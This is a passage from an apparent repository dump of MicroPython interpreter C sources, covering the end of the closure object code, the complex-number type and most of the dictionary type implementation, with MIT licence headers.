args, (n_args + 2 * n_kw) * sizeof(mp_obj_t));\n        mp_obj_t res = mp_call_function_n_kw(self->fun, self->n_closed + n_args, n_kw, args2);\n        m_del(mp_obj_t, args2, n_total);\n        return res;\n    }\n}\n\n#if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED\nSTATIC void closure_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_closure_t *o = MP_OBJ_TO_PTR(o_in);\n    mp_print_str(print, \"<closure \");\n    mp_obj_print_helper(print, o->fun, PRINT_REPR);\n    mp_printf(print, \" at %p, n_closed=%u \", o, (int)o->n_closed);\n    for (size_t i = 0; i < o->n_closed; i++) {\n        if (o->closed[i] == MP_OBJ_NULL) {\n            mp_print_str(print, \"(nil)\");\n        } else {\n            mp_obj_print_helper(print, o->closed[i], PRINT_REPR);\n        }\n        mp_print_str(print, \" \");\n    }\n    mp_print_str(print, \">\");\n}\n#endif\n\nconst mp_obj_type_t closure_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_closure,\n#if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED\n    .print = closure_print,\n#endif\n    .call = closure_call,\n};\n\nmp_obj_t mp_obj_new_closure(mp_obj_t fun, size_t n_closed_over, const mp_obj_t *closed) {\n    mp_obj_closure_t *o = m_new_obj_var(mp_obj_closure_t, mp_obj_t, n_closed_over);\n    o->base.type = &closure_type;\n    o->fun = fun;\n    o->n_closed = n_closed_over;\n    memcpy(o->closed, closed, n_closed_over * sizeof(mp_obj_t));\n    return MP_OBJ_FROM_PTR(o);\n}\n"
  },
  {
    "path": "micropython/source/py/objcomplex.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/parsenum.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_COMPLEX\n\n#include <math.h>\n#include \"py/formatfloat.h\"\n\ntypedef struct _mp_obj_complex_t {\n    mp_obj_base_t base;\n    mp_float_t real;\n    mp_float_t imag;\n} mp_obj_complex_t;\n\nSTATIC void complex_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_complex_t *o = MP_OBJ_TO_PTR(o_in);\n#if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\n    char buf[16];\n    #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C\n    const int precision = 6;\n    #else\n    const int precision = 7;\n    #endif\n#else\n    char buf[32];\n    const int precision = 16;\n#endif\n    if (o->real == 0) {\n        mp_format_float(o->imag, buf, sizeof(buf), 'g', precision, '\\0');\n        mp_printf(print, \"%sj\", buf);\n    } else {\n        mp_format_float(o->real, buf, sizeof(buf), 'g', precision, '\\0');\n        mp_printf(print, \"(%s\", buf);\n        if (o->imag >= 0 || isnan(o->imag)) {\n            mp_print_str(print, \"+\");\n        }\n        mp_format_float(o->imag, buf, sizeof(buf), 'g', precision, '\\0');\n        mp_printf(print, \"%sj)\", buf);\n    }\n}\n\nSTATIC mp_obj_t complex_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    mp_arg_check_num(n_args, n_kw, 0, 2, false);\n\n    switch (n_args) {\n        case 0:\n            return mp_obj_new_complex(0, 0);\n\n        case 1:\n            if (MP_OBJ_IS_STR(args[0])) {\n                // a string, parse it\n                size_t l;\n                const char *s = mp_obj_str_get_data(args[0], &l);\n                return mp_parse_num_decimal(s, l, true, true, NULL);\n            } else if (MP_OBJ_IS_TYPE(args[0], &mp_type_complex)) {\n                // a complex, just return it\n                return args[0];\n            } else {\n                // something else, try to cast it to a complex\n                return mp_obj_new_complex(mp_obj_get_float(args[0]), 0);\n            }\n\n        case 2:\n        default: {\n            mp_float_t real, imag;\n            if (MP_OBJ_IS_TYPE(args[0], &mp_type_complex)) {\n                mp_obj_complex_get(args[0], &real, &imag);\n            } else {\n                real = mp_obj_get_float(args[0]);\n                imag = 0;\n            }\n            if (MP_OBJ_IS_TYPE(args[1], &mp_type_complex)) {\n                mp_float_t real2, imag2;\n                mp_obj_complex_get(args[1], &real2, &imag2);\n                real -= imag2;\n                imag += real2;\n            } else {\n                imag += mp_obj_get_float(args[1]);\n            }\n            return mp_obj_new_complex(real, imag);\n        }\n    }\n}\n\nSTATIC mp_obj_t complex_unary_op(mp_uint_t op, mp_obj_t o_in) {\n    mp_obj_complex_t *o = MP_OBJ_TO_PTR(o_in);\n    switch (op) {\n        case MP_UNARY_OP_BOOL: return mp_obj_new_bool(o->real != 0 || o->imag != 0);\n        case MP_UNARY_OP_HASH: return MP_OBJ_NEW_SMALL_INT(mp_float_hash(o->real) ^ mp_float_hash(o->imag));\n        case MP_UNARY_OP_POSITIVE: return o_in;\n        case MP_UNARY_OP_NEGATIVE: return mp_obj_new_complex(-o->real, -o->imag);\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t complex_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    mp_obj_complex_t *lhs = MP_OBJ_TO_PTR(lhs_in);\n    return mp_obj_complex_binary_op(op, lhs->real, lhs->imag, rhs_in);\n}\n\nSTATIC void complex_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    if (dest[0] != MP_OBJ_NULL) {\n        // not load attribute\n        return;\n    }\n    mp_obj_complex_t *self = MP_OBJ_TO_PTR(self_in);\n    if (attr == MP_QSTR_real) {\n        dest[0] = mp_obj_new_float(self->real);\n    } else if (attr == MP_QSTR_imag) {\n        dest[0] = mp_obj_new_float(self->imag);\n    }\n}\n\nconst mp_obj_type_t mp_type_complex = {\n    { &mp_type_type },\n    .name = MP_QSTR_complex,\n    .print = complex_print,\n    .make_new = complex_make_new,\n    .unary_op = complex_unary_op,\n    .binary_op = complex_binary_op,\n    .attr = complex_attr,\n};\n\nmp_obj_t mp_obj_new_complex(mp_float_t real, mp_float_t imag) {\n    mp_obj_complex_t *o = m_new_obj(mp_obj_complex_t);\n    o->base.type = &mp_type_complex;\n    o->real = real;\n    o->imag = imag;\n    return MP_OBJ_FROM_PTR(o);\n}\n\nvoid mp_obj_complex_get(mp_obj_t self_in, mp_float_t *real, mp_float_t *imag) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_complex));\n    mp_obj_complex_t *self = MP_OBJ_TO_PTR(self_in);\n    *real = self->real;\n    *imag = self->imag;\n}\n\nmp_obj_t mp_obj_complex_binary_op(mp_uint_t op, mp_float_t lhs_real, mp_float_t lhs_imag, mp_obj_t rhs_in) {\n    mp_float_t rhs_real, rhs_imag;\n    mp_obj_get_complex(rhs_in, &rhs_real, &rhs_imag); // can be any type, this function will convert to float (if possible)\n    switch (op) {\n        case MP_BINARY_OP_ADD:\n        case MP_BINARY_OP_INPLACE_ADD:\n            lhs_real += rhs_real;\n            lhs_imag += rhs_imag;\n            break;\n        case MP_BINARY_OP_SUBTRACT:\n        case MP_BINARY_OP_INPLACE_SUBTRACT:\n            lhs_real -= rhs_real;\n            lhs_imag -= rhs_imag;\n            break;\n        case MP_BINARY_OP_MULTIPLY:\n        case MP_BINARY_OP_INPLACE_MULTIPLY: {\n            mp_float_t real;\n            multiply:\n            real = lhs_real * rhs_real - lhs_imag * rhs_imag;\n            lhs_imag = lhs_real * rhs_imag + lhs_imag * rhs_real;\n            lhs_real = real;\n            break;\n        }\n        case MP_BINARY_OP_FLOOR_DIVIDE:\n        case MP_BINARY_OP_INPLACE_FLOOR_DIVIDE:\n            mp_raise_TypeError(\"can't do truncated division of a complex number\");\n\n        case MP_BINARY_OP_TRUE_DIVIDE:\n        case MP_BINARY_OP_INPLACE_TRUE_DIVIDE:\n            if (rhs_imag == 0) {\n                if (rhs_real == 0) {\n                    mp_raise_msg(&mp_type_ZeroDivisionError, \"complex division by zero\");\n                }\n                lhs_real /= rhs_real;\n                lhs_imag /= rhs_real;\n            } else if (rhs_real == 0) {\n                mp_float_t real = lhs_imag / rhs_imag;\n                lhs_imag = -lhs_real / rhs_imag;\n                lhs_real = real;\n            } else {\n                mp_float_t rhs_len_sq = rhs_real*rhs_real + rhs_imag*rhs_imag;\n                rhs_real /= rhs_len_sq;\n                rhs_imag /= -rhs_len_sq;\n                goto multiply;\n            }\n            break;\n\n        case MP_BINARY_OP_POWER:\n        case MP_BINARY_OP_INPLACE_POWER: {\n            // z1**z2 = exp(z2*ln(z1))\n            //        = exp(z2*(ln(|z1|)+i*arg(z1)))\n            //        = exp( (x2*ln1 - y2*arg1) + i*(y2*ln1 + x2*arg1) )\n            //        = exp(x3 + i*y3)\n            //        = exp(x3)*(cos(y3) + i*sin(y3))\n            mp_float_t abs1 = MICROPY_FLOAT_C_FUN(sqrt)(lhs_real*lhs_real + lhs_imag*lhs_imag);\n            if (abs1 == 0) {\n                if (rhs_imag == 0 && rhs_real >= 0) {\n                    lhs_real = (rhs_real == 0);\n                } else {\n                    mp_raise_msg(&mp_type_ZeroDivisionError, \"0.0 to a complex power\");\n                }\n            } else {\n                mp_float_t ln1 = MICROPY_FLOAT_C_FUN(log)(abs1);\n                mp_float_t arg1 = MICROPY_FLOAT_C_FUN(atan2)(lhs_imag, lhs_real);\n                mp_float_t x3 = rhs_real * ln1 - rhs_imag * arg1;\n                mp_float_t y3 = rhs_imag * ln1 + rhs_real * arg1;\n                mp_float_t exp_x3 = MICROPY_FLOAT_C_FUN(exp)(x3);\n                lhs_real = exp_x3 * MICROPY_FLOAT_C_FUN(cos)(y3);\n                lhs_imag = exp_x3 * MICROPY_FLOAT_C_FUN(sin)(y3);\n            }\n            break;\n        }\n\n        case MP_BINARY_OP_EQUAL: return mp_obj_new_bool(lhs_real == rhs_real && lhs_imag == rhs_imag);\n\n        default:\n            return MP_OBJ_NULL; // op not supported\n    }\n    return mp_obj_new_complex(lhs_real, lhs_imag);\n}\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/objdict.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/builtin.h\"\n#include \"py/objtype.h\"\n\n#define MP_OBJ_IS_DICT_TYPE(o) (MP_OBJ_IS_OBJ(o) && ((mp_obj_base_t*)MP_OBJ_TO_PTR(o))->type->make_new == dict_make_new)\n\nSTATIC mp_obj_t dict_update(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs);\n\n// This is a helper function to iterate through a dictionary.  The state of\n// the iteration is held in *cur and should be initialised with zero for the\n// first call.  Will return NULL when no more elements are available.\nSTATIC mp_map_elem_t *dict_iter_next(mp_obj_dict_t *dict, size_t *cur) {\n    size_t max = dict->map.alloc;\n    mp_map_t *map = &dict->map;\n\n    for (size_t i = *cur; i < max; i++) {\n        if (MP_MAP_SLOT_IS_FILLED(map, i)) {\n            *cur = i + 1;\n            return &(map->table[i]);\n        }\n    }\n\n    return NULL;\n}\n\nSTATIC void dict_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in);\n    bool first = true;\n    if (!(MICROPY_PY_UJSON && kind == PRINT_JSON)) {\n        kind = PRINT_REPR;\n    }\n    if (MICROPY_PY_COLLECTIONS_ORDEREDDICT && self->base.type != &mp_type_dict) {\n        mp_printf(print, \"%q(\", self->base.type->name);\n    }\n    mp_print_str(print, \"{\");\n    size_t cur = 0;\n    mp_map_elem_t *next = NULL;\n    while ((next = dict_iter_next(self, &cur)) != NULL) {\n        if (!first) {\n            mp_print_str(print, \", \");\n        }\n        first = false;\n        mp_obj_print_helper(print, next->key, kind);\n        mp_print_str(print, \": \");\n        mp_obj_print_helper(print, next->value, kind);\n    }\n    mp_print_str(print, \"}\");\n    if (MICROPY_PY_COLLECTIONS_ORDEREDDICT && self->base.type != &mp_type_dict) {\n        mp_print_str(print, \")\");\n    }\n}\n\nSTATIC mp_obj_t dict_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_obj_t dict_out = mp_obj_new_dict(0);\n    mp_obj_dict_t *dict = MP_OBJ_TO_PTR(dict_out);\n    dict->base.type = type;\n    #if MICROPY_PY_COLLECTIONS_ORDEREDDICT\n    if (type == &mp_type_ordereddict) {\n        dict->map.is_ordered = 1;\n    }\n    #endif\n    if (n_args > 0 || n_kw > 0) {\n        mp_obj_t args2[2] = {dict_out, args[0]}; // args[0] is always valid, even if it's not a positional arg\n        mp_map_t kwargs;\n        mp_map_init_fixed_table(&kwargs, n_kw, args + n_args);\n        dict_update(n_args + 1, args2, &kwargs); // dict_update will check that n_args + 1 == 1 or 2\n    }\n    return dict_out;\n}\n\nSTATIC mp_obj_t dict_unary_op(mp_uint_t op, mp_obj_t self_in) {\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in);\n    switch (op) {\n        case MP_UNARY_OP_BOOL: return mp_obj_new_bool(self->map.used != 0);\n        case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(self->map.used);\n        #if MICROPY_PY_SYS_GETSIZEOF\n        case MP_UNARY_OP_SIZEOF: {\n            size_t sz = sizeof(*self) + sizeof(*self->map.table) * self->map.alloc;\n            return MP_OBJ_NEW_SMALL_INT(sz);\n        }\n        #endif\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t dict_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    mp_obj_dict_t *o = MP_OBJ_TO_PTR(lhs_in);\n    switch (op) {\n        case MP_BINARY_OP_IN: {\n            mp_map_elem_t *elem = mp_map_lookup(&o->map, rhs_in, MP_MAP_LOOKUP);\n            return mp_obj_new_bool(elem != NULL);\n        }\n        case MP_BINARY_OP_EQUAL: {\n            #if MICROPY_PY_COLLECTIONS_ORDEREDDICT\n            if (MP_UNLIKELY(MP_OBJ_IS_TYPE(lhs_in, &mp_type_ordereddict) && MP_OBJ_IS_TYPE(rhs_in, &mp_type_ordereddict))) {\n                // Iterate through both dictionaries simultaneously and compare keys and values.\n                mp_obj_dict_t *rhs = MP_OBJ_TO_PTR(rhs_in);\n                size_t c1 = 0, c2 = 0;\n                mp_map_elem_t *e1 = dict_iter_next(o, &c1), *e2 = dict_iter_next(rhs, &c2);\n                for (; e1 != NULL && e2 != NULL; e1 = dict_iter_next(o, &c1), e2 = dict_iter_next(rhs, &c2)) {\n                    if (!mp_obj_equal(e1->key, e2->key) || !mp_obj_equal(e1->value, e2->value)) {\n                        return mp_const_false;\n                    }\n                }\n                return e1 == NULL && e2 == NULL ? mp_const_true : mp_const_false;\n            } else\n            #endif\n            if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_dict)) {\n                mp_obj_dict_t *rhs = MP_OBJ_TO_PTR(rhs_in);\n                if (o->map.used != rhs->map.used) {\n                    return mp_const_false;\n                }\n\n                size_t cur = 0;\n                mp_map_elem_t *next = NULL;\n                while ((next = dict_iter_next(o, &cur)) != NULL) {\n                    mp_map_elem_t *elem = mp_map_lookup(&rhs->map, next->key, MP_MAP_LOOKUP);\n                    if (elem == NULL || !mp_obj_equal(next->value, elem->value)) {\n                        return mp_const_false;\n                    }\n                }\n                return mp_const_true;\n            } else {\n                // dict is not equal to instance of any other type\n                return mp_const_false;\n            }\n        }\n        default:\n            // op not supported\n            return MP_OBJ_NULL;\n    }\n}\n\n// TODO: Make sure this is inlined in dict_subscr() below.\nmp_obj_t mp_obj_dict_get(mp_obj_t self_in, mp_obj_t index) {\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_map_elem_t *elem = mp_map_lookup(&self->map, index, MP_MAP_LOOKUP);\n    if (elem == NULL) {\n        nlr_raise(mp_obj_new_exception_arg1(&mp_type_KeyError, index));\n    } else {\n        return elem->value;\n    }\n}\n\nSTATIC mp_obj_t dict_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) {\n    if (value == MP_OBJ_NULL) {\n        // delete\n        mp_obj_dict_delete(self_in, index);\n        return mp_const_none;\n    } else if (value == MP_OBJ_SENTINEL) {\n        // load\n        mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in);\n        mp_map_elem_t *elem = mp_map_lookup(&self->map, index, MP_MAP_LOOKUP);\n        if (elem == NULL) {\n            nlr_raise(mp_obj_new_exception_arg1(&mp_type_KeyError, index));\n        } else {\n            return elem->value;\n        }\n    } else {\n        // store\n        mp_obj_dict_store(self_in, index, value);\n        return mp_const_none;\n    }\n}\n\n/******************************************************************************/\n/* dict iterator                                                              */\n\ntypedef struct _mp_obj_dict_it_t {\n    mp_obj_base_t base;\n    mp_fun_1_t iternext;\n    mp_obj_t dict;\n    size_t cur;\n} mp_obj_dict_it_t;\n\nSTATIC mp_obj_t dict_it_iternext(mp_obj_t self_in) {\n    mp_obj_dict_it_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_map_elem_t *next = dict_iter_next(MP_OBJ_TO_PTR(self->dict), &self->cur);\n\n    if (next == NULL) {\n        return MP_OBJ_STOP_ITERATION;\n    } else {\n        return next->key;\n    }\n}\n\nSTATIC mp_obj_t dict_getiter(mp_obj_t self_in, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_dict_it_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_obj_dict_it_t *o = (mp_obj_dict_it_t*)iter_buf;\n    o->base.type = &mp_type_polymorph_iter;\n    o->iternext = dict_it_iternext;\n    o->dict = self_in;\n    o->cur = 0;\n    return MP_OBJ_FROM_PTR(o);\n}\n\n/******************************************************************************/\n/* dict methods                                                               */\n\nSTATIC mp_obj_t dict_clear(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in));\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in);\n\n    mp_map_clear(&self->map);\n\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_clear_obj, dict_clear);\n\nSTATIC mp_obj_t dict_copy(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in));\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_t other_out = mp_obj_new_dict(self->map.alloc);\n    mp_obj_dict_t *other = MP_OBJ_TO_PTR(other_out);\n    other->base.type = self->base.type;\n    other->map.used = self->map.used;\n    other->map.all_keys_are_qstrs = self->map.all_keys_are_qstrs;\n    other->map.is_fixed = 0;\n    other->map.is_ordered = self->map.is_ordered;\n    memcpy(other->map.table, self->map.table, self->map.alloc * sizeof(mp_map_elem_t));\n    return other_out;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_copy_obj, dict_copy);\n\n// this is a classmethod\nSTATIC mp_obj_t dict_fromkeys(size_t n_args, const mp_obj_t *args) {\n    mp_obj_t iter = mp_getiter(args[1], NULL);\n    mp_obj_t value = mp_const_none;\n    mp_obj_t next = MP_OBJ_NULL;\n\n    if (n_args > 2) {\n        value = args[2];\n    }\n\n    // optimisation to allocate result based on len of argument\n    mp_obj_t self_out;\n    mp_obj_t len = mp_obj_len_maybe(args[1]);\n    if (len == MP_OBJ_NULL) {\n        /* object's type doesn't have a __len__ slot */\n        self_out = mp_obj_new_dict(0);\n    } else {\n        self_out = mp_obj_new_dict(MP_OBJ_SMALL_INT_VALUE(len));\n    }\n\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_out);\n    while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) {\n        mp_map_lookup(&self->map, next, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = value;\n    }\n\n    return self_out;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(dict_fromkeys_fun_obj, 2, 3, dict_fromkeys);\nSTATIC MP_DEFINE_CONST_CLASSMETHOD_OBJ(dict_fromkeys_obj, MP_ROM_PTR(&dict_fromkeys_fun_obj));\n\nSTATIC mp_obj_t dict_get_helper(size_t n_args, const mp_obj_t *args, mp_map_lookup_kind_t lookup_kind) {\n    mp_check_self(MP_OBJ_IS_DICT_TYPE(args[0]));\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(args[0]);\n    mp_map_elem_t *elem = mp_map_lookup(&self->map, args[1], lookup_kind);\n    mp_obj_t value;\n    if (elem == NULL || elem->value == MP_OBJ_NULL) {\n        if (n_args == 2) {\n            if (lookup_kind == MP_MAP_LOOKUP_REMOVE_IF_FOUND) {\n                nlr_raise(mp_obj_new_exception_arg1(&mp_type_KeyError, args[1]));\n            } else {\n                value = mp_const_none;\n            }\n        } else {\n            value = args[2];\n        }\n        if (lookup_kind == MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) {\n            elem->value = value;\n        }\n    } else {\n        value = elem->value;\n        if (lookup_kind == MP_MAP_LOOKUP_REMOVE_IF_FOUND) {\n            elem->value = MP_OBJ_NULL; // so that GC can collect the deleted value\n        }\n    }\n    return value;\n}\n\nSTATIC mp_obj_t dict_get(size_t n_args, const mp_obj_t *args) {\n    return dict_get_helper(n_args, args, MP_MAP_LOOKUP);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(dict_get_obj, 2, 3, dict_get);\n\nSTATIC mp_obj_t dict_pop(size_t n_args, const mp_obj_t *args) {\n    return dict_get_helper(n_args, args, MP_MAP_LOOKUP_REMOVE_IF_FOUND);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(dict_pop_obj, 2, 3, dict_pop);\n\nSTATIC mp_obj_t dict_setdefault(size_t n_args, const mp_obj_t *args) {\n    return dict_get_helper(n_args, args, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(dict_setdefault_obj, 2, 3, dict_setdefault);\n\nSTATIC mp_obj_t dict_popitem(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in));\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in);\n    size_t cur = 0;\n    mp_map_elem_t *next = dict_iter_next(self, &cur);\n    if (next == NULL) {\n        mp_raise_msg(&mp_type_KeyError, \"popitem(): dictionary is empty\");\n    }\n    self->map.used--;\n    mp_obj_t items[] = {next->key, next->value};\n    next->key = MP_OBJ_SENTINEL; // must mark key as sentinel to indicate that it was deleted\n    next->value = MP_OBJ_NULL;\n    mp_obj_t tuple = mp_obj_new_tuple(2, items);\n\n    return tuple;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_popitem_obj, dict_popitem);\n\nSTATIC mp_obj_t dict_update(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) {\n    mp_check_self(MP_OBJ_IS_DICT_TYPE(args[0]));\n    mp_obj_dict_t *self = MP_OBJ_TO_PTR(args[0]);\n\n    mp_arg_check_num(n_args, kwargs->used, 1, 2, true);\n\n    if (n_args == 2) {\n        // given a positional argument\n\n        if (MP_OBJ_IS_DICT_TYPE(args[1])) {\n            // update from other dictionary (make sure other is not self)\n            if (args[1] != args[0]) {\n                size_t cur = 0;\n                mp_map_elem_t *elem = NULL;\n                while ((elem = dict_iter_next((mp_obj_dict_t*)MP_OBJ_TO_PTR(args[1]), &cur)) != NULL) {\n                    mp_map_lookup(&self->map, elem->key, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = elem->value;\n                }\n            }\n        } else {\n            // update from a generic iterable of pairs\n            mp_obj_t iter = mp_getiter(args[1], NULL);\n            mp_obj_t next = MP_OBJ_NULL;\n            while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) {\n                mp_obj_t inneriter = mp_getiter(next, NULL);\n                mp_obj_t key = mp_iternext(inneriter);\n                mp_obj_t value = mp_iternext(inneriter);\n                mp_obj_t stop = mp_iternext(inneriter);\n                if (key == MP_OBJ_STOP_ITERATION\n                    || value == MP_OBJ_STOP_ITERATION\n                    || stop != MP_OBJ_STOP_ITERATION) {\n                    mp_raise_ValueError(\"dict update sequence has wrong length\");\n                } else {\n                    mp_map_lookup(&self->map, key, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = value;\n                }\n            }\n        }\n    }\n\n    // update the dict with any keyword args\n    for (size_t i = 0; i < kwargs->alloc; i++) {\n        if (MP_MAP_SLOT_IS_FILLED(kwargs, i)) {\n            mp_map_lookup(&self->map, kwargs->table[i].key, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = kwargs->table[i].value;\n        }\n    }\n\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_KW(dict_update_obj, 1, dict_update);\n\n\n/******************************************************************************/\n/* dict views                                                                 */\n\nSTATIC const mp_obj_type_t dict_view_type;\nSTATIC const mp_obj_type_t dict_view_it_type;\n\ntypedef enum _mp_dict_view_kind_t {\n    MP_DICT_VIEW_ITEMS,\n    MP_DICT_VIEW_KEYS,\n    MP_DICT_VIEW_VALUES,\n} mp_dict_view_kind_t;\n\nSTATIC const char *const mp_dict_view_names[] = {\"dict_items\", \"dict_keys\", \"dict_values\"};\n\ntypedef struct _mp_obj_dict_view_it_t {\n    mp_obj_base_t base;\n    mp_dict_view_kind_t kind;\n    mp_obj_t dict;\n    size_t cur;\n} mp_obj_dict_view_it_t;\n\ntypedef struct _mp_obj_dict_view_t {\n    mp_obj_base_t base;\n    mp_obj_t dict;\n    mp_dict_view_kind_t kind;\n} mp_obj_dict_view_t;\n\nSTATIC mp_obj_t dict_view_it_iternext(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &dict_view_it_type));\n    mp_obj_dict_view_it_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_map_elem_t *next = dict_iter_next(MP_OBJ_TO_PTR(self->dict), &self->cur);\n\n    if (next == NULL) {\n        return MP_OBJ_STOP_ITERATION;\n    } else {\n        switch (self->kind) {\n            case MP_DICT_VIEW_ITEMS:\n            default: {\n                mp_obj_t items[] = {next->key, next->value};\n                return mp_obj_new_tuple(2, items);\n            }\n            case MP_DICT_VIEW_KEYS:\n                return next->key;\n            case MP_DICT_VIEW_VALUES:\n                return next->value;\n        }\n    }\n}\n\nSTATIC const mp_obj_type_t dict_view_it_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_iterator,\n    .getiter = mp_identity_getiter,\n    .iternext = dict_view_it_iternext,\n};\n\nSTATIC mp_obj_t dict_view_getiter(mp_obj_t view_in, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_dict_view_it_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_check_self(MP_OBJ_IS_TYPE(view_in, &dict_view_type));\n    mp_obj_dict_view_t *view = MP_OBJ_TO_PTR(view_in);\n    mp_obj_dict_view_it_t *o = (mp_obj_dict_view_it_t*)iter_buf;\n    o->base.type = &dict_view_it_type;\n    o->kind = view->kind;\n    o->dict = view->dict;\n    o->cur = 0;\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC void dict_view_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    